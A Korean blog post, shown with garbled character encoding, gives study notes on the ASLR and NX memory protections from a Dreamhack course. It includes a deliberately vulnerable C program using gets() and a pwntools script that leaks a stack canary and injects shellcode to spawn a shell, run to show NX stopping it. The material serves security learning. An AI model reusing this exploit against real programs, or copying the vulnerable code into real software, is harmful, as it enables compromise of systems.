Jastes 2022. 6. 7. 20:51

์‹œ์Šคํ…œ ๋ณด์•ˆ์€ ์ง€๋‚œ ์ˆ˜๋…„๊ฐ„ ๋ฐœ์ „ํ•ด์˜จ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•๊ณผ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์˜ ๋ฐœ์ „ ์–‘์ƒ์„ ๋ณด์‹œ๋ฉด..
์–ด๋–ค ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ๋“ฑ์žฅํ•˜๋ฉด ์šฐํšŒ ๊ธฐ์ˆ ๋„ ๋“ฑ์žฅํ•ฉ๋‹ˆ๋‹ค.. ์ด๋ ‡๊ฒŒ ์–ด๋–ค ๊ณต๊ฒฉ์ด ์˜ฌ์ง€ ๋ชจ๋ฅด๊ธฐ์—
์‹œ์Šคํ…œ ๊ฐœ๋ฐœ์ž๋“ค์€ ์—ฌ๋Ÿฌ ๊ฒบ์˜ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ์ ์šฉํ•ด ์‹œ์Šคํ…œ์ด ๊ณต๊ฒฉ๋‹นํ•  ์ˆ˜ ์žˆ๋Š” ํ‘œํ˜„ ์ž์ฒด↓

 

์ด์ „์— ๊ธ€์„ ๋ณด์‹œ๋ฉด r2s๋ฅผ ํ†ตํ•œ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ–ˆ๊ธฐ์— ๋” ์–ด๋ ต๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด์„ 
๊ณต๊ฒฉ์ž๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ์— ์ž„์˜ ๋ฒ„ํผ ์ฃผ์†Œ ์•Œ๊ธฐ ํž˜๋“ค๊ฒŒ, ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ๋ถˆํ•„์š”ํ•œ ์‹คํ–‰ ๊ถŒํ•œ ์ œ๊ฑฐ

 

Exploit Tech: Return to Shellcode

 

dystopia050119.tistory.com

์ด์™€ ๊ด€๋ จ๋œ ๋ณดํ˜ธ๊ธฐ๋ฒ•์œผ๋กœ ์šฐ๋ฆฌ๋Š” ASLR๊ณผ NX๋ฅผ ๋ฐฐ์›Œ๋ณผ๊ป˜์š”


ASLR

Address Space Layout Randomization์˜ ์•ฝ์–ด

๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค ์Šคํƒ/ํž™/๊ณต์œ  lib ๋“ฑ์„ ์ž„์˜์˜ ์ฃผ์†Œ์— ํ• ๋‹นํ•œ ๋ณดํ˜ธ๊ธฐ๋ฒ•!!

ALSR์€ ์ปค๋„์—์„œ ์ง€์›ํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด๋ฉฐ, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ ํ™•์ธํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

cat /proc/sys/kernel/randomize_va_space

๋ฆฌ๋ˆ…์Šค์—์„  ์ด ๊ฐ’์€ 0, 1 ๋˜๋Š” 2๋ฅผ ๊ฐ€์ฆˆ๋ฉฐ, ๊ฐ ASLR์ด ์ ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • No ASLR(0) : ASLR์„ ์ ์šฉ X
  • Conservative Randomization(1) : ์Šคํƒ, ํž™, lib, vdso etc..
  • Conservative Randomization + brk(2) : (1)์˜ ์˜์—ญ๊ณผ brk๋กœ ํ• ๋‹นํ•œ ์˜์—ญ

์ฐธ๊ณ ๋กœ brk์™€ ๊ด€๋ จ๋œ ์ž๋ฃŒ๋Š” ์•„๋ž˜ ๋งํฌ๋ฅผ ํ†ตํ•ด ๋ณด์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค.

 

[ Linux System Call ] brk, sbrk

Reference : sploitfun.wordpress.com/2015/02/11/syscalls-used-by-malloc/ Syscalls used by malloc. Having landed on this page, you should know malloc uses syscalls to obtain memory from the OS. As sh..

aidencom.tistory.com

์ž์„ธํ•œ ํŠน์ง•์€ ์•„๋ž˜ ์˜ˆ์ œ๋ฅผ ํ†ตํ•ด ASLR์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ด…์‹œ๋‹ค

// Name: addr.c
// Compile: gcc addr.c -o addr -ldl -no-pie -fno-PIE
 
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
 
int main() {
  char buf_stack[0x10];                   // ์Šคํƒ ๋ฒ„ํผ
  char *buf_heap = (char *)malloc(0x10);  // ํž™ ๋ฒ„ํผ
 
  printf("buf_stack addr: %p\n", buf_stack);
  printf("buf_heap addr: %p\n", buf_heap);
 
  printf("libc_base addr: %p\n",
         *(void **)dlopen("libc.so.6", RTLD_LAZY));  // ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ
 
  printf("printf addr: %p\n",
         dlsym(dlopen("libc.so.6", RTLD_LAZY),
               "printf"));  // ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ
 
  printf("main addr: %p\n", main);  // ์ฝ”๋“œ ์˜์—ญ์˜ ํ•จ์ˆ˜ ์ฃผ์†Œ
}

ASLR์˜ ํŠน์ง•

addr.c์ฝ”๋“œ๋Š” ๋ฉ”๋ชจ๋ฆฌ์˜ ์ฃผ์†Œ๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ฝ”๋“œ๋กœ ์ปดํŒŒ์ผ ํ›„ ์‹คํ–‰ํ•ด๋ณด๋ฉด..

 ๊ฐ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๋ณ„๋กœ ์ž˜ ์ถœ๋ ฅ๋˜์—ˆ์œผ๋ฉฐ, ๊ฒฐ๊ณผ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŠน์ง•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

  • ์ฝ”๋“œ ์˜์—ญ์˜ mainํ•จ์ˆ˜๋ฅผ ์ œ์™ธํ•œ ๋‹ค๋ฅธ ์˜์—ญ์˜ ์ฃผ์†Œ๋“ค์€ ์‹คํ–‰๋งˆ๋‹ค ๋ณ€๊ฒฝ๋จ
    - ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ์ฃผ์†Œ ๋ณ€๊ฒฝ๋˜๊ธฐ์— ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ ์ „์— ํ•ด๋‹น ์˜์—ญ๋“ค์˜ ์ฃผ์†Œ ์˜ˆ์ธก ๋ถˆ๊ฐ€
  • ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐ˜๋ณตํ•ด ์‹คํ–‰ํ•ด๋„ printf ์ฃผ์†Œ์˜ ํ•˜์œ„ 12๋น„ํŠธ ๊ฐ’์€ ๋ณ€๊ฒฝ X
    - ๋ฆฌ๋ˆ…์Šค๋Š” ASLR์ด ์ ์šฉ ์‹œ, ํŒŒ์ผ์„ ํŽ˜์ด์ง€(Page; 12๋น„ํŠธ) ๋‹จ์œ„๋กœ ์ž„์˜ ์ฃผ์†Œ๋ฅผ ๋งคํ•‘ํ•จ
  • libc_base์™€ printf์˜ ์ฃผ์†Œ ์ฐจ์ด๋Š” ํ•ญ์ƒ ๊ฐ™์Œ
    - ASLR์ด ์ ์šฉ ์‹œ lib๋Š” ์ž„์˜ ์ฃผ์†Œ์— ๋งคํ•‘๋จ
    - lib ํŒŒ์ผ ๊ทธ๋Œ€๋กœ ๋งคํ•‘์ด ์•„๋‹Œ ๋งคํ•‘๋œ ์ฃผ์†Œ๋กœ๋ถ€ํ„ฐ lib์˜ ๋‹ค๋ฅธ ์‹ฌํด๋“ค์˜ ๊ฑฐ๋ฆฌ(Offset)์€ ํ•ญ์ƒ ๊ฐ™์Œ


NX(No-eXecute)

์‹คํ–‰์— ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ๊ณผ ์“ฐ๊ธฐ์— ์‚ฌ์šฉ๋˜๋Š” ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์„ ๋ถ„๋ฆฌํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•!!

์–ด๋–ค ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ๋Œ€ํ•ด ์“ฐ๊ธฐ ๊ถŒํ•œ๊ณผ ์‹คํ–‰ ๊ถŒํ•œ์ด ํ•จ๊ป˜ ์žˆ์œผ๋ฉด ์‹œ์Šคํ…œ์ด ์ทจ์•ฝํ•ด์ง€๊ธฐ ์‰ฝ์ฃ 
์˜ˆ๋ฅผ ๋“ค์–ด, ์ฝ”๋“œ ์˜์—ญ์— ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •ํ•ด ์›ํ•˜๋Š” ์ฝ”๋“œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋ฉฐ,
๋ฐ˜๋Œ€๋กœ ์Šคํƒ์ด๋‚˜ ๋ฐ์ดํ„ฐ ์˜์—ญ์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์žˆ์œผ๋ฉด Return to Shellcode์™€ ๊ฐ™์€ ๊ณต๊ฒฉ ์‹œ๋„ ๊ฐ€๋Šฅ!!

 

CPU๊ฐ€ NX๋ฅผ ์ง€์›ํ•˜๋ฉด ์ปดํŒŒ์ผ ์˜ต์…˜์„ ํ†ตํ•ด ๋ฐ”์ด๋„ˆ๋ฆฌ์— NX๋ฅผ ์ ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, NX ์ ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š”
์‹คํ–‰๋  ๋•Œ ๊ฐ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ์— ํ•„์š”ํ•œ ๊ถŒํ•œ๋งŒ์„ ๋ถ€์—ฌ๋ฐ›์Šต๋‹ˆ๋‹ค.

 

gdb์˜ vmmap์œผ๋กœ NX ์ ์šฉ ์ „ํ›„์˜ ๋ฉ”๋ชจ๋ฆฌ ๋งต์„ ๋น„๊ตํ•˜๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด NX๊ฐ€ ์ ์šฉ ์ „ํ›„์˜
๋ฉ”๋ชจ๋ฆฌ ๋งต์„ ๋น„๊ตํ•˜๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด NX๊ฐ€ ์ ์šฉ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š”..

 

์ฝ”๋“œ ์˜์—ญ ์™ธ์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์—†๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด, NX๊ฐ€ ์ ์šฉ X๋Š” ๋ชจ๋“  ์˜์—ญ์— ์กด์žฌ!!

์ด๊ฑด.. ๋ญ” ์—๋Ÿฌ ๋œจ๋ฉด์„œ ๊ทธ๋ƒฅ Dreamhack์—์„œ ๋ฐœ์ทจํ–ˆ์–ด์š”


Checksec์„ ์ด์šฉํ•œ NX ํ™•์ธ

checksec์„ ์ด์šฉํ•ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ฐ”์ด๋„ˆ๋ฆฌ์— NX๊ฐ€ ์ ์šฉ๋๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

NX์˜ ๋‹ค์–‘ํ•œ ๋ช…์นญ
  • ์ธํ…” : XD(eXecute Disble)
  • AMD : NX(No-eXecute)
  • ์œˆ๋„์šฐ : DEP(Data Execution Prevention)
  • ARM : XN(eXecute Never)

Return to Shellcode w/t NX

์ด์ „์— ์‹ค์Šตํ•œ Return to shellcode์˜ ์˜ˆ์ œ์ธ r2s์— NX ๋ณดํ˜ธ๊ธฐ๋ฒ•์„ ์ ์šฉ ํ›„,
๋™์ผ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‹คํ–‰ํ–ˆ์„ ๋•Œ์˜ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•ด๋ด…์‹œ๋‹ค.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
 
#include <stdio.h>
#include <unistd.h>
 
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
int main() {
  char buf[0x50];
 
  init();
 
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
 
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
 
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
 
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
 
  return 0;
}

r2s.c๋ฅผ -zexecstack ์˜ต์…˜์„ ์ œ๊ฑฐํ•ด ์ปดํŒŒ์ผ ํ›„, checksec์œผ๋กœ ํ™•์ธํ•ด๋ณด๋ฉด NX๊ฐ€ ํ™œ์„ฑํ™”๋จ!!

์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด Segmentataion fault ๋ฐœ์ƒ!!
์ด๋Š” NX๊ฐ€ ์ ์šฉ๋˜ ์Šคํƒ ์˜์—ญ์— ์‹คํ–‰ ๊ถŒํ•œ์ด ์‚ฌ๋ผ์ง€๋ฉฐ, ์…ธ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰ ๋ถˆ๊ฐ€๋กœ ์ข…๋ฃŒ๋œ ๊ฒƒ์ด์ฃ 

#!/usr/bin/env python3
# Name : r2s.py
 
from pwn import *
def slog(n, m): return success(":".join([n, hex(m)]))
 
 
p = process('./r2s')
context(arch='amd64', os='linux')
e = ELF('./r2s')
 
 
#[1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog('Address of the buf', buf)
 
p.recvuntil('$rbp: ')
buf2_sfp = int(p.recvline().split()[0])
buf2_canary = buf2_sfp - 8
 
slog('buf <=> sfp', buf2_sfp)
slog('buf <=> canary', buf2_canary)
 
# [2] Leak canary value
payload = b"A"*(buf2_canary + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
 
canary = u64(b"\x00"+p.recvn(7))
slog("Canary", canary)
 
# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2_canary, b"A") + p64(canary) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
 
p.interactive()

 ์•„.. ๊ท€์ฐฎ์•„์„œ ํŒŒ์ผ ๋ช… ์•ˆ ๋ฐ”๊ฟจ๋Š”๋ฐ ๋ฐ”๊พธ์‹œ๋ฉด.. ํžˆํžˆ

์ด๋Ÿฐ ์‹์œผ๋กœ ์˜ค๋ฅ˜๊ฐ€.. ๋‚˜๋ฉด ์•ˆ๋˜๋Š”๋ฐ ํ•˜.. ์–ด์จŒ๋“  ์•ˆ๋œ๋‹ค๋Š” ๊ฑธ ์•Œ์•˜์ฃ 

Checksec์„ ํ•ด๋ณด๋ฉด NX์˜ ์ ์šฉ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๊ฑด ํ•ด๋ณด์…”๋„ ์ข‹์„๊ฑฐ ๊ฐ™์•„์š”


๋งˆ์น˜๋ฉฐ

NX์™€ ASLR์ด ์ ์šฉ๋˜๋ฉด ์Šคํƒ/ํž™/๋ฐ์ดํ„ฐ ์˜์—ญ์— ์‹คํ–‰ ๊ถŒํ•œ ์ œ๊ฑฐ ๋ฐ ํ• ๋‹น ์ฃผ์†Œ ๊ณ„์† ๋ณ€ํ•จ..
๊ทธ๋Ÿฌ๋‚˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ฝ”๋“œ๊ฐ€ ์กด์žฌํ•˜๋Š” ์˜์—ญ์€ ์—ฌ์ „ํžˆ ์‹คํ–‰ ๊ถŒํ•œ ์กด์žฌ!! ํ• ๋‹น ์ฃผ์†Œ๋„ ๊ณ ์ •!!
์ฝ”๋“œ ์˜์—ญ์—” ์œ ์šฉํ•œ ์ฝ”๋“œ ๊ฐ€์ ฏ๋“ค๊ณผ ํ•จ์ˆ˜๋„ ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์…ธ ์ฝ”๋“œ๋กœ ์ง์ ‘ ๋ฎ๋Š” ๋Œ€์‹ , ์ด๋ฅผ ํ™œ์šฉํ•ด NX์™€ ASLR์„ ์šฐํšŒํ•˜๋Š” ๊ณต๊ฒฉ๋„ ์žˆ์ฃ 
๊ด€๋ จ๋œ ๋Œ€ํ‘œ์  ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์œผ๋ก  RTL(Return-To-Libc)๊ณผ ROP(Return Oriented Programming)!

ํ‚ค์›Œ๋“œ
  • Address Space Layout Randomization(ASLR)
    - ๋ฉ”๋ชจ๋ฆฌ๋ฅผ ๋ฌด์ž‘์œ„ ์ฃผ์†Œ์— ํ• ๋‹นํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•.

    - ์ตœ์‹  ์ปค๋„๋“ค์€ ๋Œ€๋ถ€๋ถ„ ์ ์šฉ๋˜์–ด ์žˆ์Œ.
    - ๋ฆฌ๋ˆ…์Šค์—์„œ๋Š” ํŽ˜์ด์ง€ ๋‹จ์œ„๋กœ ํ• ๋‹น์ด ์ด๋ฃจ์–ด์ง€๋ฏ€๋กœ ํ•˜์œ„ 12๋น„ํŠธ๋Š” ๋ณ€ํ•˜์ง€ ์•Š๋Š”๋‹ค๋Š” ํŠน์ง•์ด ์žˆ์Œ.
  • NX(No-eXecute bit)
    - ํ”„๋กœ์„ธ์Šค์˜ ๊ฐ ์„ธ๊ทธ๋จผํŠธ์— ํ•„์š”ํ•œ ๊ถŒํ•œ๋งŒ ๋ถ€์—ฌํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•.
    - ์ผ๋ฐ˜์ ์œผ๋กœ ์ฝ”๋“œ ์˜์—ญ์—๋Š” ์ฝ๊ธฐ์™€ ์‹คํ–‰์„, ๋‚˜๋จธ์ง€ ์˜์—ญ์—๋Š” ์ฝ๊ธฐ์™€ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋จ.

์ฐธ๊ณ  ์ž๋ฃŒ

 

Mitigation: NX & ASLR

์ด ์ฝ”์Šค์—์„œ๋Š” NX์™€ ASLR์„ ๋ฐฐ์šฐ๊ณ , ์ด๋“ค์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๊ฐ„๋‹จํžˆ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค.

dreamhack.io

์ฐธ๊ณ  ์ด๋ฏธ์ง€